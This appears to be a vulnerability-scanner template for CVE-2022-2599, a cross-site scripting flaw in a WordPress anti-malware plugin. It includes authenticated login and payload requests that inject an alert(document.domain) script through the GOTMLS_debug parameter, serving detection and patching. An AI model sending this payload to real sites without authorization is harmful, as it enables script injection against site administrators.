CVE-2022-2599: WordPress Anti-Malware Security and Brute-Force Firewall <4.21.83 - Cross-Site Scripting

id: CVE-2022-2599

info:
  name: WordPress Anti-Malware Security and Brute-Force Firewall <4.21.83 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    WordPress Anti-Malware Security and Brute-Force Firewall plugin before 4.21.83 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape some parameters before outputting them back in an admin dashboard.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the targeted WordPress site, potentially leading to unauthorized access, data theft, or further attacks.
  remediation: |
    Update the WordPress Anti-Malware Security and Brute-Force Firewall plugin to version 4.21.83 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/276a7fc5-3d0d-446d-92cf-20060aecd0ef
    - https://wordpress.org/plugins/gotmls/advanced/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2599
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-2599
    cwe-id: CWE-79
    epss-score: 0.47329
    epss-percentile: 0.97628
    cpe: cpe:2.3:a:anti-malware_security_and_brute-force_firewall_project:anti-malware_security_and_brute-force_firewall:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: anti-malware_security_and_brute-force_firewall_project
    product: anti-malware_security_and_brute-force_firewall
    framework: wordpress
  tags: cve,cve2022,wordpress,wp-plugin,xss,gotmls,authenticated,wpscan,anti-malware_security_and_brute-force_firewall_project

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin.php?page=GOTMLS-settings&GOTMLS_debug=<%2Fscript><img+src+onerror%3Dalert%28document.domain%29> HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><img src onerror=alert(document.domain)>"
          - "GOTMLS_mt"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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